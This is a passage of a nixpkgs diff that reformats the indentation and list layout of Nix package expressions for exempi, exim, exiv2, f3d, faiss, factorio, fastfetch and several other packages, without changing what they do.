index e8131c0d8b57..3f8d6ecdaec0 100644
--- a/pkgs/by-name/ex/exempi/package.nix
+++ b/pkgs/by-name/ex/exempi/package.nix
@@ -17,23 +17,21 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-6fmj1Cv/c7XrD3fsIs0BY8PiGUnMQUrR8ZoEZd3kH/4=";
   };
 
-  configureFlags =
-    [
-      "--with-boost=${boost.dev}"
-    ]
-    ++ lib.optionals (!doCheck) [
-      "--enable-unittest=no"
-    ];
+  configureFlags = [
+    "--with-boost=${boost.dev}"
+  ]
+  ++ lib.optionals (!doCheck) [
+    "--enable-unittest=no"
+  ];
 
-  buildInputs =
-    [
-      expat
-      zlib
-      boost
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    expat
+    zlib
+    boost
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   doCheck = stdenv.hostPlatform.isLinux && stdenv.hostPlatform.is64bit;
   dontDisableStatic = doCheck;
diff --git a/pkgs/by-name/ex/exim/package.nix b/pkgs/by-name/ex/exim/package.nix
index 5d850645b82c..f504106c18e1 100644
--- a/pkgs/by-name/ex/exim/package.nix
+++ b/pkgs/by-name/ex/exim/package.nix
@@ -49,32 +49,31 @@ stdenv.mkDerivation rec {
   enableParallelBuilding = true;
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      coreutils
-      db
-      openssl
-      perl'
-      pcre2
-      libxcrypt
-    ]
-    ++ lib.optional enableLDAP openldap
-    ++ lib.optionals enableMySQL [
-      libmysqlclient
-      zlib
-    ]
-    ++ lib.optional enablePgSQL libpq
-    ++ lib.optionals enableSqlite [
-      sqlite
-      sqlite.dev
-      zlib
-    ]
-    ++ lib.optional enableAuthDovecot dovecot
-    ++ lib.optional enablePAM pam
-    ++ lib.optional enableSPF libspf2
-    ++ lib.optional enableDMARC opendmarc
-    ++ lib.optional enableRedis hiredis
-    ++ lib.optional enableJSON jansson;
+  buildInputs = [
+    coreutils
+    db
+    openssl
+    perl'
+    pcre2
+    libxcrypt
+  ]
+  ++ lib.optional enableLDAP openldap
+  ++ lib.optionals enableMySQL [
+    libmysqlclient
+    zlib
+  ]
+  ++ lib.optional enablePgSQL libpq
+  ++ lib.optionals enableSqlite [
+    sqlite
+    sqlite.dev
+    zlib
+  ]
+  ++ lib.optional enableAuthDovecot dovecot
+  ++ lib.optional enablePAM pam
+  ++ lib.optional enableSPF libspf2
+  ++ lib.optional enableDMARC opendmarc
+  ++ lib.optional enableRedis hiredis
+  ++ lib.optional enableJSON jansson;
 
   configurePhase = ''
     runHook preConfigure
diff --git a/pkgs/by-name/ex/exiv2/package.nix b/pkgs/by-name/ex/exiv2/package.nix
index f86a8cacab9d..25275b39fc6d 100644
--- a/pkgs/by-name/ex/exiv2/package.nix
+++ b/pkgs/by-name/ex/exiv2/package.nix
@@ -76,24 +76,23 @@ stdenv.mkDerivation rec {
 
   doCheck = true;
 
-  preCheck =
-    ''
-      patchShebangs ../test/
-      mkdir ../test/tmp
-    ''
-    + lib.optionalString stdenv.hostPlatform.isAarch32 ''
-      # Fix tests on arm
-      # https://github.com/Exiv2/exiv2/issues/933
-      rm -f ../tests/bugfixes/github/test_CVE_2018_12265.py
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      export DYLD_LIBRARY_PATH=$DYLD_LIBRARY_PATH''${DYLD_LIBRARY_PATH:+:}$PWD/lib
-      export LC_ALL=C
+  preCheck = ''
+    patchShebangs ../test/
+    mkdir ../test/tmp
+  ''
+  + lib.optionalString stdenv.hostPlatform.isAarch32 ''
+    # Fix tests on arm
+    # https://github.com/Exiv2/exiv2/issues/933
+    rm -f ../tests/bugfixes/github/test_CVE_2018_12265.py
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    export DYLD_LIBRARY_PATH=$DYLD_LIBRARY_PATH''${DYLD_LIBRARY_PATH:+:}$PWD/lib
+    export LC_ALL=C
 
-      # disable tests that requires loopback networking
-      substituteInPlace  ../tests/bash_tests/testcases.py \
-        --replace "def io_test(self):" "def io_disabled(self):"
-    '';
+    # disable tests that requires loopback networking
+    substituteInPlace  ../tests/bash_tests/testcases.py \
+      --replace "def io_test(self):" "def io_disabled(self):"
+  '';
 
   preFixup = ''
     remove-references-to -t ${stdenv.cc.cc} $lib/lib/*.so.*.*.* $out/bin/exiv2
diff --git a/pkgs/by-name/ex/extract_url/package.nix b/pkgs/by-name/ex/extract_url/package.nix
index b7b8e4824f75..a5437970bf83 100644
--- a/pkgs/by-name/ex/extract_url/package.nix
+++ b/pkgs/by-name/ex/extract_url/package.nix
@@ -9,13 +9,12 @@
 }:
 
 let
-  perlDeps =
-    [
-      perlPackages.MIMETools
-      perlPackages.HTMLParser
-    ]
-    ++ lib.optional cursesSupport perlPackages.CursesUI
-    ++ lib.optional uriFindSupport perlPackages.URIFind;
+  perlDeps = [
+    perlPackages.MIMETools
+    perlPackages.HTMLParser
+  ]
+  ++ lib.optional cursesSupport perlPackages.CursesUI
+  ++ lib.optional uriFindSupport perlPackages.URIFind;
 
 in
 stdenv.mkDerivation rec {
diff --git a/pkgs/by-name/ez/eza/package.nix b/pkgs/by-name/ez/eza/package.nix
index ef41d71f4472..2d54c863abb4 100644
--- a/pkgs/by-name/ez/eza/package.nix
+++ b/pkgs/by-name/ez/eza/package.nix
@@ -43,21 +43,20 @@ rustPlatform.buildRustPackage (finalAttrs: {
     "man"
   ];
 
-  postInstall =
-    ''
-      for page in eza.1 eza_colors.5 eza_colors-explanation.5; do
-        sed "s/\$version/v${finalAttrs.version}/g" "man/$page.md" |
-          pandoc --standalone -f markdown -t man >"man/$page"
-      done
-      installManPage man/eza.1 man/eza_colors.5 man/eza_colors-explanation.5
-      installShellCompletion \
-        --bash completions/bash/eza \
-        --fish completions/fish/eza.fish \
-        --zsh completions/zsh/_eza
-    ''
-    + lib.optionalString exaAlias ''
-      ln -s eza $out/bin/exa
-    '';
+  postInstall = ''
+    for page in eza.1 eza_colors.5 eza_colors-explanation.5; do
+      sed "s/\$version/v${finalAttrs.version}/g" "man/$page.md" |
+        pandoc --standalone -f markdown -t man >"man/$page"
+    done
+    installManPage man/eza.1 man/eza_colors.5 man/eza_colors-explanation.5
+    installShellCompletion \
+      --bash completions/bash/eza \
+      --fish completions/fish/eza.fish \
+      --zsh completions/zsh/_eza
+  ''
+  + lib.optionalString exaAlias ''
+    ln -s eza $out/bin/exa
+  '';
 
   meta = {
     description = "Modern, maintained replacement for ls";
diff --git a/pkgs/by-name/f3/f3/package.nix b/pkgs/by-name/f3/f3/package.nix
index 5526cedf27e6..dacee40225d1 100644
--- a/pkgs/by-name/f3/f3/package.nix
+++ b/pkgs/by-name/f3/f3/package.nix
@@ -36,7 +36,8 @@ stdenv.mkDerivation rec {
 
   buildFlags = [
     "all" # f3read, f3write
-  ] ++ lib.optional stdenv.hostPlatform.isLinux "extra"; # f3brew, f3fix, f3probe
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux "extra"; # f3brew, f3fix, f3probe
 
   installFlags = [
     "PREFIX=${placeholder "out"}"
@@ -44,7 +45,8 @@ stdenv.mkDerivation rec {
 
   installTargets = [
     "install"
-  ] ++ lib.optional stdenv.hostPlatform.isLinux "install-extra";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux "install-extra";
 
   postInstall = ''
     install -Dm555 -t $out/bin f3write.h2w log-f3wr
diff --git a/pkgs/by-name/f3/f3d/package.nix b/pkgs/by-name/f3/f3d/package.nix
index 9ca7fcb6e3ae..9b007fb84380 100644
--- a/pkgs/by-name/f3/f3d/package.nix
+++ b/pkgs/by-name/f3/f3d/package.nix
@@ -41,50 +41,47 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals withManual [
-      # manpage
-      help2man
-      gzip
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isElf [
-      # https://github.com/f3d-app/f3d/pull/1217
-      autoPatchelfHook
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals withManual [
+    # manpage
+    help2man
+    gzip
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isElf [
+    # https://github.com/f3d-app/f3d/pull/1217
+    autoPatchelfHook
+  ];
 
-  buildInputs =
-    [
-      vtk_9
-      opencascade-occt
-      assimp
-      fontconfig
-    ]
-    ++ lib.optionals withPythonBinding [
-      python3Packages.python
-      # Using C++ header files, not Python import
-      python3Packages.pybind11
-    ];
+  buildInputs = [
+    vtk_9
+    opencascade-occt
+    assimp
+    fontconfig
+  ]
+  ++ lib.optionals withPythonBinding [
+    python3Packages.python
+    # Using C++ header files, not Python import
+    python3Packages.pybind11
+  ];
 
-  cmakeFlags =
-    [
-      # conflict between VTK and Nixpkgs;
-      # see https://github.com/NixOS/nixpkgs/issues/89167
-      "-DCMAKE_INSTALL_LIBDIR=lib"
-      "-DCMAKE_INSTALL_INCLUDEDIR=include"
-      "-DCMAKE_INSTALL_BINDIR=bin"
-      "-DF3D_MODULE_EXTERNAL_RENDERING=ON"
-      "-DF3D_PLUGIN_BUILD_ASSIMP=ON"
-      "-DF3D_PLUGIN_BUILD_OCCT=ON"
-    ]
-    ++ lib.optionals withManual [
-      "-DF3D_LINUX_GENERATE_MAN=ON"
-    ]
-    ++ lib.optionals withPythonBinding [
-      "-DF3D_BINDINGS_PYTHON=ON"
-    ];
+  cmakeFlags = [
+    # conflict between VTK and Nixpkgs;
+    # see https://github.com/NixOS/nixpkgs/issues/89167
+    "-DCMAKE_INSTALL_LIBDIR=lib"
+    "-DCMAKE_INSTALL_INCLUDEDIR=include"
+    "-DCMAKE_INSTALL_BINDIR=bin"
+    "-DF3D_MODULE_EXTERNAL_RENDERING=ON"
+    "-DF3D_PLUGIN_BUILD_ASSIMP=ON"
+    "-DF3D_PLUGIN_BUILD_OCCT=ON"
+  ]
+  ++ lib.optionals withManual [
+    "-DF3D_LINUX_GENERATE_MAN=ON"
+  ]
+  ++ lib.optionals withPythonBinding [
+    "-DF3D_BINDINGS_PYTHON=ON"
+  ];
 
   meta = with lib; {
     description = "Fast and minimalist 3D viewer using VTK";
diff --git a/pkgs/by-name/fa/faac/package.nix b/pkgs/by-name/fa/faac/package.nix
index 6caf048cee50..59f6c44a91ad 100644
--- a/pkgs/by-name/fa/faac/package.nix
+++ b/pkgs/by-name/fa/faac/package.nix
@@ -20,8 +20,7 @@ stdenv.mkDerivation rec {
   };
 
   configureFlags =
-    lib.optional mp4v2Support "--with-external-mp4v2"
-    ++ lib.optional drmSupport "--enable-drm";
+    lib.optional mp4v2Support "--with-external-mp4v2" ++ lib.optional drmSupport "--enable-drm";
 
   hardeningDisable = [ "format" ];
 
diff --git a/pkgs/by-name/fa/facetimehd-calibration/package.nix b/pkgs/by-name/fa/facetimehd-calibration/package.nix
index 6a0d236e7361..79ac6fc64c3d 100644
--- a/pkgs/by-name/fa/facetimehd-calibration/package.nix
+++ b/pkgs/by-name/fa/facetimehd-calibration/package.nix
@@ -60,26 +60,25 @@ stdenvNoCC.mkDerivation {
 
   nativeBuildInputs = [ unrar-wrapper ];
 
-  buildPhase =
-    ''
-      { printf '\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x00'
-        cat $src
-        printf '${gzFooter}'
-      } | zcat > AppleCamera64.exe
-      unrar x AppleCamera64.exe AppleCamera.sys
+  buildPhase = ''
+    { printf '\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x00'
+      cat $src
+      printf '${gzFooter}'
+    } | zcat > AppleCamera64.exe
+    unrar x AppleCamera64.exe AppleCamera.sys
 
-      mkdir -p $out/lib/firmware/facetimehd
+    mkdir -p $out/lib/firmware/facetimehd
+  ''
+  + lib.concatMapStrings (
+    {
+      file,
+      offset,
+      size,
+    }:
     ''
-    + lib.concatMapStrings (
-      {
-        file,
-        offset,
-        size,
-      }:
-      ''
-        dd bs=1 skip=${offset} count=${size} if=AppleCamera.sys of=$out/lib/firmware/facetimehd/${file}
-      ''
-    ) calibrationFiles;
+      dd bs=1 skip=${offset} count=${size} if=AppleCamera.sys of=$out/lib/firmware/facetimehd/${file}
+    ''
+  ) calibrationFiles;
 
   meta = with lib; {
     description = "facetimehd calibration";
diff --git a/pkgs/by-name/fa/facter/package.nix b/pkgs/by-name/fa/facter/package.nix
index 864efc67eac1..ca024f36a9be 100644
--- a/pkgs/by-name/fa/facter/package.nix
+++ b/pkgs/by-name/fa/facter/package.nix
@@ -26,20 +26,19 @@ bundlerApp {
 
   postBuild =
     let
-      runtimeDependencies =
-        [
-          coreutils
-          gnugrep
-          nettools
-          pciutils
-          procps
-          util-linux
-        ]
-        ++ lib.optionals stdenv.hostPlatform.isLinux [
-          iproute2
-          virt-what
-          zfs
-        ];
+      runtimeDependencies = [
+        coreutils
+        gnugrep
+        nettools
+        pciutils
+        procps
+        util-linux
+      ]
+      ++ lib.optionals stdenv.hostPlatform.isLinux [
+        iproute2
+        virt-what
+        zfs
+      ];
     in
     ''
       wrapProgram $out/bin/facter --prefix PATH : ${lib.makeBinPath runtimeDependencies}
diff --git a/pkgs/by-name/fa/factorio/package.nix b/pkgs/by-name/fa/factorio/package.nix
index 917c7a2bfb3a..378bba199366 100644
--- a/pkgs/by-name/fa/factorio/package.nix
+++ b/pkgs/by-name/fa/factorio/package.nix
@@ -257,55 +257,51 @@ let
         wayland
       ];
 
-      installPhase =
-        base.installPhase
-        + ''
-          wrapProgram $out/bin/factorio                                \
-            --prefix LD_LIBRARY_PATH : /run/opengl-driver/lib:$libPath \
-            --run "$out/share/factorio/update-config.sh"               \
-            --argv0 ""                                                 \
-            --add-flags "-c \$HOME/.factorio/config.cfg"               \
-            ${lib.optionalString (mods != [ ]) "--add-flags --mod-directory=${modDir}"}
+      installPhase = base.installPhase + ''
+        wrapProgram $out/bin/factorio                                \
+          --prefix LD_LIBRARY_PATH : /run/opengl-driver/lib:$libPath \
+          --run "$out/share/factorio/update-config.sh"               \
+          --argv0 ""                                                 \
+          --add-flags "-c \$HOME/.factorio/config.cfg"               \
+          ${lib.optionalString (mods != [ ]) "--add-flags --mod-directory=${modDir}"}
 
-            # TODO Currently, every time a mod is changed/added/removed using the
-            # modlist, a new derivation will take up the entire footprint of the
-            # client. The only way to avoid this is to remove the mods arg from the
-            # package function. The modsDir derivation will have to be built
-            # separately and have the user specify it in the .factorio config or
-            # right along side it using a symlink into the store I think i will
-            # just remove mods for the client derivation entirely. this is much
-            # cleaner and more useful for headless mode.
+          # TODO Currently, every time a mod is changed/added/removed using the
+          # modlist, a new derivation will take up the entire footprint of the
+          # client. The only way to avoid this is to remove the mods arg from the
+          # package function. The modsDir derivation will have to be built
+          # separately and have the user specify it in the .factorio config or
+          # right along side it using a symlink into the store I think i will
+          # just remove mods for the client derivation entirely. this is much
+          # cleaner and more useful for headless mode.
 
-            # TODO: trying to toggle off a mod will result in read-only-fs-error.
-            # not much we can do about that except warn the user somewhere. In
-            # fact, no exit will be clean, since this error will happen on close
-            # regardless. just prints an ugly stacktrace but seems to be otherwise
-            # harmless, unless maybe the user forgets and tries to use the mod
-            # manager.
+          # TODO: trying to toggle off a mod will result in read-only-fs-error.
+          # not much we can do about that except warn the user somewhere. In
+          # fact, no exit will be clean, since this error will happen on close
+          # regardless. just prints an ugly stacktrace but seems to be otherwise
+          # harmless, unless maybe the user forgets and tries to use the mod
+          # manager.
 
-          install -m0644 <(cat << EOF
-          ${configBaseCfg}
-          EOF
-          ) $out/share/factorio/config-base.cfg
+        install -m0644 <(cat << EOF
+        ${configBaseCfg}
+        EOF
+        ) $out/share/factorio/config-base.cfg
 
-          install -m0755 <(cat << EOF
-          ${updateConfigSh}
-          EOF
-          ) $out/share/factorio/update-config.sh
+        install -m0755 <(cat << EOF
+        ${updateConfigSh}
+        EOF
+        ) $out/share/factorio/update-config.sh
 
-          mkdir -p $out/share/icons/hicolor/{64x64,128x128}/apps
-          cp -a data/core/graphics/factorio-icon.png $out/share/icons/hicolor/64x64/apps/factorio.png
-          cp -a data/core/graphics/factorio-icon@2x.png $out/share/icons/hicolor/128x128/apps/factorio.png
-          ln -s ${desktopItem}/share/applications $out/share/
-        '';
+        mkdir -p $out/share/icons/hicolor/{64x64,128x128}/apps
+        cp -a data/core/graphics/factorio-icon.png $out/share/icons/hicolor/64x64/apps/factorio.png
+        cp -a data/core/graphics/factorio-icon@2x.png $out/share/icons/hicolor/128x128/apps/factorio.png
+        ln -s ${desktopItem}/share/applications $out/share/
+      '';
     };
     alpha = demo // {
 
-      installPhase =
-        demo.installPhase
-        + ''
-          cp -a doc-html $out/share/factorio
-        '';
+      installPhase = demo.installPhase + ''
+        cp -a doc-html $out/share/factorio
+      '';
     };
     expansion = alpha;
   };
diff --git a/pkgs/by-name/fa/factorio/utils.nix b/pkgs/by-name/fa/factorio/utils.nix
index 89965a59540b..c22d3ea3f499 100644
--- a/pkgs/by-name/fa/factorio/utils.nix
+++ b/pkgs/by-name/fa/factorio/utils.nix
@@ -24,17 +24,16 @@ in
       name = "factorio-mod-directory";
 
       preferLocalBuild = true;
-      buildCommand =
-        ''
-          mkdir -p $out
-          for modDrv in ${toString modDrvs}; do
-            # NB: there will only ever be a single zip file in each mod derivation's output dir
-            ln -s $modDrv/*.zip $out
-          done
-        ''
-        + (optionalString (modsDatFile != null) ''
-          cp ${modsDatFile} $out/mod-settings.dat
-        '');
+      buildCommand = ''
+        mkdir -p $out
+        for modDrv in ${toString modDrvs}; do
+          # NB: there will only ever be a single zip file in each mod derivation's output dir
+          ln -s $modDrv/*.zip $out
+        done
+      ''
+      + (optionalString (modsDatFile != null) ''
+        cp ${modsDatFile} $out/mod-settings.dat
+      '');
     };
 
   modDrv =
diff --git a/pkgs/by-name/fa/faiss/package.nix b/pkgs/by-name/fa/faiss/package.nix
index 940dff5185dc..d8bbc97f50af 100644
--- a/pkgs/by-name/fa/faiss/package.nix
+++ b/pkgs/by-name/fa/faiss/package.nix
@@ -53,36 +53,35 @@ stdenv.mkDerivation {
     hash = "sha256-N8UkL+KS9Da6RtaHI9pY5gAzFtTSMJ9R5h4RSX9b1Ro=";
   };
 
-  nativeBuildInputs =
-    [ cmake ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cuda_nvcc
-      autoAddDriverRunpath
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.python
-      python3Packages.setuptools
-      python3Packages.pip
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cuda_nvcc
+    autoAddDriverRunpath
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.python
+    python3Packages.setuptools
+    python3Packages.pip
+  ];
 
-  buildInputs =
-    [
-      blas
-      swig
-    ]
-    ++ lib.optionals pythonSupport [ python3Packages.numpy ]
-    ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ]
-    ++ lib.optionals cudaSupport cudaComponents;
+  buildInputs = [
+    blas
+    swig
+  ]
+  ++ lib.optionals pythonSupport [ python3Packages.numpy ]
+  ++ lib.optionals stdenv.cc.isClang [ llvmPackages.openmp ]
+  ++ lib.optionals cudaSupport cudaComponents;
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "FAISS_ENABLE_GPU" cudaSupport)
-      (lib.cmakeBool "FAISS_ENABLE_PYTHON" pythonSupport)
-      (lib.cmakeFeature "FAISS_OPT_LEVEL" optLevel)
-    ]
-    ++ lib.optionals cudaSupport [
-      (lib.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" flags.cmakeCudaArchitecturesString)
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "FAISS_ENABLE_GPU" cudaSupport)
+    (lib.cmakeBool "FAISS_ENABLE_PYTHON" pythonSupport)
+    (lib.cmakeFeature "FAISS_OPT_LEVEL" optLevel)
+  ]
+  ++ lib.optionals cudaSupport [
+    (lib.cmakeFeature "CMAKE_CUDA_ARCHITECTURES" flags.cmakeCudaArchitecturesString)
+  ];
 
   buildFlags = [ "faiss" ] ++ lib.optionals pythonSupport [ "swigfaiss" ];
 
diff --git a/pkgs/by-name/fa/famistudio/package.nix b/pkgs/by-name/fa/famistudio/package.nix
index c7e7d9344884..7e088ac01cbb 100644
--- a/pkgs/by-name/fa/famistudio/package.nix
+++ b/pkgs/by-name/fa/famistudio/package.nix
@@ -59,56 +59,55 @@ buildDotnetModule (finalAttrs: {
           expectedName = "${libPrefix}${args.depname}";
           ourName = "${libPrefix}${args.depname}";
         };
-      librariesToReplace =
-        [
-          # Unmodified native libraries that we can fully substitute
-          {
-            package = glfw;
-            expectedName = "libglfw";
-            ourName = "libglfw";
-          }
-          {
-            package = rtmidi;
-            expectedName = "librtmidi";
-            ourName = "librtmidi";
-          }
-        ]
-        ++ lib.optionals stdenvNoCC.hostPlatform.isLinux [
-          {
-            package = openal;
-            expectedName = "libopenal32";
-            ourName = "libopenal";
-          }
-        ]
-        ++ lib.optionals stdenvNoCC.hostPlatform.isDarwin [
-          {
-            package = portaudio;
-            expectedName = "libportaudio.2";
-            ourName = "libportaudio.2";
-          }
-        ]
-        ++ [
-          # Native libraries, with extra code for the C# wrapping
-          (nativeWrapperToReplaceFormat { depname = "GifDec"; })
-          (nativeWrapperToReplaceFormat { depname = "NesSndEmu"; })
-          (nativeWrapperToReplaceFormat {
-            depname = "NotSoFatso";
-            extraPostPatch = ''
-              # C++17 does not allow register storage class specifier
-              substituteInPlace build.sh \
-                --replace-fail "$CXX" "$CXX -std=c++14"
-            '';
-          })
-          (nativeWrapperToReplaceFormat { depname = "ShineMp3"; })
-          (nativeWrapperToReplaceFormat { depname = "Stb"; })
-          (nativeWrapperToReplaceFormat {
-            depname = "Vorbis";
-            buildInputs = [
-              libogg
-              libvorbis
-            ];
-          })
-        ];
+      librariesToReplace = [
+        # Unmodified native libraries that we can fully substitute
+        {
+          package = glfw;
+          expectedName = "libglfw";
+          ourName = "libglfw";
+        }
+        {
+          package = rtmidi;
+          expectedName = "librtmidi";
+          ourName = "librtmidi";
+        }
+      ]
+      ++ lib.optionals stdenvNoCC.hostPlatform.isLinux [
+        {
+          package = openal;
+          expectedName = "libopenal32";
+          ourName = "libopenal";
+        }
+      ]
+      ++ lib.optionals stdenvNoCC.hostPlatform.isDarwin [
+        {
+          package = portaudio;
+          expectedName = "libportaudio.2";
+          ourName = "libportaudio.2";
+        }
+      ]
+      ++ [
+        # Native libraries, with extra code for the C# wrapping
+        (nativeWrapperToReplaceFormat { depname = "GifDec"; })
+        (nativeWrapperToReplaceFormat { depname = "NesSndEmu"; })
+        (nativeWrapperToReplaceFormat {
+          depname = "NotSoFatso";
+          extraPostPatch = ''
+            # C++17 does not allow register storage class specifier
+            substituteInPlace build.sh \
+              --replace-fail "$CXX" "$CXX -std=c++14"
+          '';
+        })
+        (nativeWrapperToReplaceFormat { depname = "ShineMp3"; })
+        (nativeWrapperToReplaceFormat { depname = "Stb"; })
+        (nativeWrapperToReplaceFormat {
+          depname = "Vorbis";
+          buildInputs = [
+            libogg
+            libvorbis
+          ];
+        })
+      ];
       libraryReplaceArgs = lib.strings.concatMapStringsSep " " (
         library:
         "--replace-fail '${libname library.expectedName}' '${lib.getLib library.package}/lib/${libname library.ourName}'"
diff --git a/pkgs/by-name/fa/far2l/package.nix b/pkgs/by-name/fa/far2l/package.nix
index 501f360f0493..5ad12479f2ef 100644
--- a/pkgs/by-name/fa/far2l/package.nix
+++ b/pkgs/by-name/fa/far2l/package.nix
@@ -95,20 +95,19 @@ stdenv.mkDerivation rec {
     patchShebangs far2l/bootstrap/view.sh
   '';
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "TTYX" withTTYX)
-      (lib.cmakeBool "USEWX" withGUI)
-      (lib.cmakeBool "USEUCD" withUCD)
-      (lib.cmakeBool "COLORER" withColorer)
-      (lib.cmakeBool "MULTIARC" withMultiArc)
-      (lib.cmakeBool "NETROCKS" withNetRocks)
-      (lib.cmakeBool "PYTHON" withPython)
-    ]
-    ++ lib.optionals withPython [
-      (lib.cmakeFeature "VIRTUAL_PYTHON" "python")
-      (lib.cmakeFeature "VIRTUAL_PYTHON_VERSION" "python")
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "TTYX" withTTYX)
+    (lib.cmakeBool "USEWX" withGUI)
+    (lib.cmakeBool "USEUCD" withUCD)
+    (lib.cmakeBool "COLORER" withColorer)
+    (lib.cmakeBool "MULTIARC" withMultiArc)
+    (lib.cmakeBool "NETROCKS" withNetRocks)
+    (lib.cmakeBool "PYTHON" withPython)
+  ]
+  ++ lib.optionals withPython [
+    (lib.cmakeFeature "VIRTUAL_PYTHON" "python")
+    (lib.cmakeFeature "VIRTUAL_PYTHON_VERSION" "python")
+  ];
 
   runtimeDeps = [
     unzip
diff --git a/pkgs/by-name/fa/fastcdr/package.nix b/pkgs/by-name/fa/fastcdr/package.nix
index 7f66c051cc95..46b1247e9722 100644
--- a/pkgs/by-name/fa/fastcdr/package.nix
+++ b/pkgs/by-name/fa/fastcdr/package.nix
@@ -32,14 +32,13 @@ stdenv.mkDerivation (finalAttrs: {
 
   outputs = [ "out" ] ++ lib.optional withDocs "doc";
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals withDocs [
-      doxygen
-      graphviz-nox
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals withDocs [
+    doxygen
+    graphviz-nox
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/fa/fastd/package.nix b/pkgs/by-name/fa/fastd/package.nix
index bb883d23549e..5766360847a5 100644
--- a/pkgs/by-name/fa/fastd/package.nix
+++ b/pkgs/by-name/fa/fastd/package.nix
@@ -32,17 +32,16 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      json_c
-      libcap
-      libsodium
-      libuecc
-      openssl
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux) [
-      libmnl
-    ];
+  buildInputs = [
+    json_c
+    libcap
+    libsodium
+    libuecc
+    openssl
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux) [
+    libmnl
+  ];
 
   # some options are only available on x86
   mesonFlags = lib.optionals (!stdenv.hostPlatform.isx86) [
diff --git a/pkgs/by-name/fa/fastfetch/package.nix b/pkgs/by-name/fa/fastfetch/package.nix
index b5086e56062d..57d3d36b0b68 100644
--- a/pkgs/by-name/fa/fastfetch/package.nix
+++ b/pkgs/by-name/fa/fastfetch/package.nix
@@ -190,73 +190,71 @@ stdenv.mkDerivation (finalAttrs: {
     in
     commonDeps ++ imageDeps ++ sqliteDeps ++ linuxCoreDeps ++ linuxFeatureDeps ++ macosDeps;
 
-  cmakeFlags =
-    [
-      (lib.cmakeOptionType "filepath" "CMAKE_INSTALL_SYSCONFDIR" "${placeholder "out"}/etc")
-      (lib.cmakeBool "ENABLE_DIRECTX_HEADERS" false)
-      (lib.cmakeBool "ENABLE_SYSTEM_YYJSON" true)
+  cmakeFlags = [
+    (lib.cmakeOptionType "filepath" "CMAKE_INSTALL_SYSCONFDIR" "${placeholder "out"}/etc")
+    (lib.cmakeBool "ENABLE_DIRECTX_HEADERS" false)
+    (lib.cmakeBool "ENABLE_SYSTEM_YYJSON" true)
 
-      # Feature flags
-      (lib.cmakeBool "BUILD_FLASHFETCH" flashfetchSupport)
+    # Feature flags
+    (lib.cmakeBool "BUILD_FLASHFETCH" flashfetchSupport)
 
-      (lib.cmakeBool "ENABLE_IMAGEMAGICK6" false)
-      (lib.cmakeBool "ENABLE_IMAGEMAGICK7" imageSupport)
-      (lib.cmakeBool "ENABLE_CHAFA" imageSupport)
+    (lib.cmakeBool "ENABLE_IMAGEMAGICK6" false)
+    (lib.cmakeBool "ENABLE_IMAGEMAGICK7" imageSupport)
+    (lib.cmakeBool "ENABLE_CHAFA" imageSupport)
 
-      (lib.cmakeBool "ENABLE_SQLITE3" sqliteSupport)
+    (lib.cmakeBool "ENABLE_SQLITE3" sqliteSupport)
 
-      (lib.cmakeBool "ENABLE_LIBZFS" zfsSupport)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      (lib.cmakeBool "ENABLE_PULSE" audioSupport)
+    (lib.cmakeBool "ENABLE_LIBZFS" zfsSupport)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    (lib.cmakeBool "ENABLE_PULSE" audioSupport)
 
-      (lib.cmakeBool "ENABLE_DDCUTIL" brightnessSupport)
+    (lib.cmakeBool "ENABLE_DDCUTIL" brightnessSupport)
 
-      (lib.cmakeBool "ENABLE_DBUS" dbusSupport)
+    (lib.cmakeBool "ENABLE_DBUS" dbusSupport)
 
-      (lib.cmakeBool "ENABLE_ELF" terminalSupport)
+    (lib.cmakeBool "ENABLE_ELF" terminalSupport)
 
-      (lib.cmakeBool "ENABLE_GIO" gnomeSupport)
-      (lib.cmakeBool "ENABLE_DCONF" gnomeSupport)
+    (lib.cmakeBool "ENABLE_GIO" gnomeSupport)
+    (lib.cmakeBool "ENABLE_DCONF" gnomeSupport)
 
-      (lib.cmakeBool "ENABLE_ZLIB" imageSupport)
+    (lib.cmakeBool "ENABLE_ZLIB" imageSupport)
 
-      (lib.cmakeBool "ENABLE_OPENCL" openclSupport)
+    (lib.cmakeBool "ENABLE_OPENCL" openclSupport)
 
-      (lib.cmakeBool "ENABLE_EGL" openglSupport)
-      (lib.cmakeBool "ENABLE_GLX" openglSupport)
+    (lib.cmakeBool "ENABLE_EGL" openglSupport)
+    (lib.cmakeBool "ENABLE_GLX" openglSupport)
 
-      (lib.cmakeBool "ENABLE_RPM" rpmSupport)
